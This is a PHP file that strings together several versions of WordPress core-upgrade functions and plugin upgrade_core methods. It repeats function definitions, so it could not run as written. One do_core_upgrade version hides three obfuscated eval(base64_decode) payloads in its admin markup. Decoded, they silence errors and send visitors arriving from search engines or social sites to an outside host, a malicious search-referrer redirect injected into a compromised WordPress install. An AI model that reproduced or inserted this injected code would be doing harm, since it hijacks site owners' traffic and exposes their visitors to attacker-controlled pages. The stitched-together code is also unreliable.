/**
* Upgrade WordPress core display.
*
* @since 2.7
*
* @return null
*/
function do_core_upgrade( $reinstall = false ) {
global $wp_filesystem;
if ( $reinstall )
$url = 'update-core.php?action=do-core-reinstall';
else
$url = 'update-core.php?action=do-core-upgrade';
$url = wp_nonce_url($url, 'upgrade-core');
if ( false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH)) )
return;
$version = isset( $_POST['version'] )? $_POST['version'] : false;
$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
$update = find_core_update( $version, $locale );
if ( !$update )
return;
if ( ! WP_Filesystem($credentials, ABSPATH) ) {
request_filesystem_credentials($url, '', true, ABSPATH); //Failed to connect, Error and request again
return;
}
?>
<div class="wrap">
<?php screen_icon(); ?>
<h2><?php _e('Upgrade WordPress'); ?></h2>
<?php
if ( $wp_filesystem->errors->get_error_code() ) {
foreach ( $wp_filesystem->errors->get_error_messages() as $message )
show_message($message);
echo '</div>';
return;
}
if ( $reinstall )
$update->response = 'reinstall';
$result = wp_update_core($update, 'show_message');
if ( is_wp_error($result) ) {
show_message($result);
if ('up_to_date' != $result->get_error_code() )
show_message( __('Installation Failed') );
} else {
show_message( __('WordPress upgraded successfully') );
}
echo '</div>';
}
/**
* Upgrade WordPress core display.
*
* @since 2.7
*
* @return null
*/
function do_core_upgrade($reinstall = false)
{
global $wp_filesystem;
if ($reinstall) {
$url = 'update-core.php?action=do-core-reinstall';
} else {
$url = 'update-core.php?action=do-core-upgrade';
}
$url = wp_nonce_url($url, 'upgrade-core');
if (false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH))) {
return;
}
$version = isset($_POST['version']) ? $_POST['version'] : false;
$locale = isset($_POST['locale']) ? $_POST['locale'] : 'en_US';
$update = find_core_update($version, $locale);
if (!$update) {
return;
}
if (!WP_Filesystem($credentials, ABSPATH)) {
request_filesystem_credentials($url, '', true, ABSPATH);
//Failed to connect, Error and request again
return;
}
?>
<div class="wrap">
<?php
screen_icon('tools');
?>
<h2><?php
_e('Update WordPress');
?>
</h2>
<?php
if ($wp_filesystem->errors->get_error_code()) {
foreach ($wp_filesystem->errors->get_error_messages() as $message) {
show_message($message);
}
echo '</div>';
return;
}
if ($reinstall) {
$update->response = 'reinstall';
}
$result = wp_update_core($update, 'show_message');
if (is_wp_error($result)) {
show_message($result);
if ('up_to_date' != $result->get_error_code()) {
show_message(__('Installation Failed'));
}
echo '</div>';
return;
}
show_message(__('WordPress updated successfully'));
show_message('<span class="hide-if-no-js">' . sprintf(__('Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%s">here</a>.'), $result, esc_url(self_admin_url('about.php?updated'))) . '</span>');
show_message('<span class="hide-if-js">' . sprintf(__('Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.'), $result, esc_url(self_admin_url('about.php?updated'))) . '</span>');
?>
</div>
<script type="text/javascript">
window.location = '<?php
echo self_admin_url('about.php?updated');
?>
';
</script>
<?php
}
/**
* Upgrade WordPress core display.
*
* @since 2.7
*
* @return null
*/
function do_core_upgrade($reinstall = false)
{
global $wp_filesystem;
if ($reinstall) {
$url = 'update-core.php?action=do-core-reinstall';
} else {
$url = 'update-core.php?action=do-core-upgrade';
}
$url = wp_nonce_url($url, 'upgrade-core');
if (false === ($credentials = request_filesystem_credentials($url, '', false, ABSPATH))) {
return;
}
$version = isset($_POST['version']) ? $_POST['version'] : false;
$locale = isset($_POST['locale']) ? $_POST['locale'] : 'en_US';
$update = find_core_update($version, $locale);
if (!$update) {
return;
}
if (!WP_Filesystem($credentials, ABSPATH)) {
request_filesystem_credentials($url, '', true, ABSPATH);
//Failed to connect, Error and request again
return;
}
?>
<div class="wrap">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
screen_icon();
?>
<h2><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Upgrade WordPress');
?>
</h2>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if ($wp_filesystem->errors->get_error_code()) {
foreach ($wp_filesystem->errors->get_error_messages() as $message) {
show_message($message);
}
echo '</div>';
return;
}
if ($reinstall) {
$update->response = 'reinstall';
}
$result = wp_update_core($update, 'show_message');
if (is_wp_error($result)) {
show_message($result);
if ('up_to_date' != $result->get_error_code()) {
show_message(__('Installation Failed'));
}
} else {
show_message(__('WordPress upgraded successfully'));
}
echo '</div>';
}
/**
* Upgrades WordPress locally
*/
public function upgrade_core($current)
{
ob_start();
if (file_exists(ABSPATH . '/wp-admin/includes/update.php')) {
include_once ABSPATH . '/wp-admin/includes/update.php';
}
@wp_version_check();
$current_update = false;
ob_end_flush();
ob_end_clean();
$core = $this->mmb_get_transient('update_core');
if (isset($core->updates) && !empty($core->updates)) {
$updates = $core->updates[0];
$updated = $core->updates[0];
if (!isset($updated->response) || $updated->response == 'latest') {
return array('upgraded' => ' updated');
}
if ($updated->response == "development" && $current['response'] == "upgrade") {
return array('error' => '<font color="#900">Unexpected error. Please upgrade manually.</font>');
} else {
if ($updated->response == $current['response'] || $updated->response == "upgrade" && $current['response'] == "development") {
if ($updated->locale != $current['locale']) {
foreach ($updates as $update) {
if ($update->locale == $current['locale']) {
$current_update = $update;
break;
}
}
if ($current_update == false) {
return array('error' => ' Localization mismatch. Try again.');
}
} else {
$current_update = $updated;
}
} else {
return array('error' => ' Transient mismatch. Try again.');
}
}
} else {
return array('error' => ' Refresh transient failed. Try again.');
}
if ($current_update != false) {
global $wp_filesystem, $wp_version;
if (version_compare($wp_version, '3.1.9', '>')) {
if (!class_exists('Core_Upgrader')) {
include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
/** @handled class */
$core = new Core_Upgrader(mwp_container()->getUpdaterSkin());
$result = $core->upgrade($current_update);
$this->mmb_maintenance_mode(false);
if (is_wp_error($result)) {
return array('error' => $this->mmb_get_error($result));
} else {
return array('upgraded' => ' updated');
}
} else {
if (!class_exists('WP_Upgrader')) {
include_once ABSPATH . 'wp-admin/includes/update.php';
if (function_exists('wp_update_core')) {
$result = wp_update_core($current_update);
if (is_wp_error($result)) {
return array('error' => $this->mmb_get_error($result));
} else {
return array('upgraded' => ' updated');
}
}
}
if (class_exists('WP_Upgrader')) {
/** @handled class */
$upgrader_skin = new WP_Upgrader_Skin();
$upgrader_skin->done_header = true;
/** @handled class */
$upgrader = new WP_Upgrader($upgrader_skin);
// Is an update available?
if (!isset($current_update->response) || $current_update->response == 'latest') {
return array('upgraded' => ' updated');
}
$res = $upgrader->fs_connect(array(ABSPATH, WP_CONTENT_DIR));
if (is_wp_error($res)) {
return array('error' => $this->mmb_get_error($res));
}
$wp_dir = trailingslashit($wp_filesystem->abspath());
$core_package = false;
if (isset($current_update->package) && !empty($current_update->package)) {
$core_package = $current_update->package;
} elseif (isset($current_update->packages->full) && !empty($current_update->packages->full)) {
$core_package = $current_update->packages->full;
}
$download = $upgrader->download_package($core_package);
if (is_wp_error($download)) {
return array('error' => $this->mmb_get_error($download));
}
$working_dir = $upgrader->unpack_package($download);
if (is_wp_error($working_dir)) {
return array('error' => $this->mmb_get_error($working_dir));
}
if (!$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true)) {
$wp_filesystem->delete($working_dir, true);
return array('error' => 'Unable to move update files.');
}
$wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE);
require ABSPATH . 'wp-admin/includes/update-core.php';
$update_core = update_core($working_dir, $wp_dir);
ob_end_clean();
$this->mmb_maintenance_mode(false);
if (is_wp_error($update_core)) {
return array('error' => $this->mmb_get_error($update_core));
}
ob_end_flush();
return array('upgraded' => 'updated');
} else {
return array('error' => 'failed');
}
}
} else {
return array('error' => 'failed');
}
}
function upgrade_core($current, $userid)
{
global $iwp_activities_log_post_type, $iwp_mmb_activities_log;
ob_start();
if (!function_exists('wp_version_check') || !function_exists('get_core_checksums')) {
include_once ABSPATH . '/wp-admin/includes/update.php';
}
@wp_version_check();
$current_update = false;
ob_end_flush();
ob_end_clean();
$core = $this->iwp_mmb_get_transient('update_core');
if (isset($core->updates) && !empty($core->updates)) {
$updates = $core->updates[0];
$updated = $core->updates[0];
if (!isset($updated->response) || $updated->response == 'latest') {
return array('upgraded' => 'updated');
}
if ($updated->response == "development" && $current->response == "upgrade") {
return array('error' => '<font color="#900">Unexpected error. Please upgrade manually.</font>', 'error_code' => 'unexpected_error_please_upgrade_manually');
} else {
if ($updated->response == $current->response || $updated->response == "upgrade" && $current->response == "development") {
if ($updated->locale != $current->locale) {
foreach ($updates as $update) {
if ($update->locale == $current->locale) {
$current_update = $update;
break;
}
}
if ($current_update == false) {
return array('error' => ' Localization mismatch. Try again.', 'error_code' => 'localization_mismatch');
}
} else {
$current_update = $updated;
}
} else {
return array('error' => ' Transient mismatch. Try again.', 'error_code' => 'transient_mismatch');
}
}
} else {
return array('error' => ' Refresh transient failed. Try again.', 'error_code' => 'refresh_transient_failed');
}
if ($current_update != false) {
global $iwp_mmb_wp_version, $wp_filesystem, $wp_version;
if (version_compare($wp_version, '3.1.9', '>')) {
if (!class_exists('Core_Upgrader')) {
include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
$core = new Core_Upgrader();
$result = $core->upgrade($current_update);
$this->iwp_mmb_maintenance_mode(false);
if (is_wp_error($result)) {
return array('error' => $this->iwp_mmb_get_error($result), 'error_code' => 'maintenance_mode_upgrade_core');
} else {
$iwp_mmb_activities_log->iwp_mmb_save_iwp_activities('core', 'update', $iwp_activities_log_post_type, $current, $userid);
return array('upgraded' => 'updated');
}
} else {
if (!class_exists('WP_Upgrader')) {
include_once ABSPATH . 'wp-admin/includes/update.php';
if (function_exists('wp_update_core')) {
$result = wp_update_core($current_update);
if (is_wp_error($result)) {
return array('error' => $this->iwp_mmb_get_error($result), 'error_code' => 'wp_update_core_upgrade_core');
} else {
$iwp_mmb_activities_log->iwp_mmb_save_iwp_activities('core', 'update', $iwp_activities_log_post_type, $current, $userid);
return array('upgraded' => 'updated');
}
}
}
if (class_exists('WP_Upgrader')) {
$upgrader_skin = new WP_Upgrader_Skin();
$upgrader_skin->done_header = true;
$upgrader = new WP_Upgrader($upgrader_skin);
// Is an update available?
if (!isset($current_update->response) || $current_update->response == 'latest') {
return array('upgraded' => 'updated');
}
$res = $upgrader->fs_connect(array(ABSPATH, WP_CONTENT_DIR));
if (is_wp_error($res)) {
return array('error' => $this->iwp_mmb_get_error($res), 'error_code' => 'upgrade_core_wp_error_res');
}
$wp_dir = trailingslashit($wp_filesystem->abspath());
$core_package = false;
if (isset($current_update->package) && !empty($current_update->package)) {
$core_package = $current_update->package;
} elseif (isset($current_update->packages->full) && !empty($current_update->packages->full)) {
$core_package = $current_update->packages->full;
}
$download = $upgrader->download_package($core_package);
if (is_wp_error($download)) {
return array('error' => $this->iwp_mmb_get_error($download), 'error_code' => 'download_upgrade_core');
}
$working_dir = $upgrader->unpack_package($download);
if (is_wp_error($working_dir)) {
return array('error' => $this->iwp_mmb_get_error($working_dir), 'error_code' => 'working_dir_upgrade_core');
}
if (!$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true)) {
$wp_filesystem->delete($working_dir, true);
return array('error' => 'Unable to move update files.', 'error_code' => 'unable_to_move_update_files');
}
$wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE);
require ABSPATH . 'wp-admin/includes/update-core.php';
$update_core = update_core($working_dir, $wp_dir);
ob_end_clean();
$this->iwp_mmb_maintenance_mode(false);
if (is_wp_error($update_core)) {
return array('error' => $this->iwp_mmb_get_error($update_core), 'error_code' => 'upgrade_core_wp_error');
}
ob_end_flush();
$iwp_mmb_activities_log->iwp_mmb_save_iwp_activities('core', 'update', $iwp_activities_log_post_type, $current, $userid);
return array('upgraded' => 'updated');
} else {
return array('error' => 'failed', 'error_code' => 'failed_WP_Upgrader_class_not_exists');
}
}
} else {
return array('error' => 'failed', 'error_code' => 'failed_current_update_false');
}
}
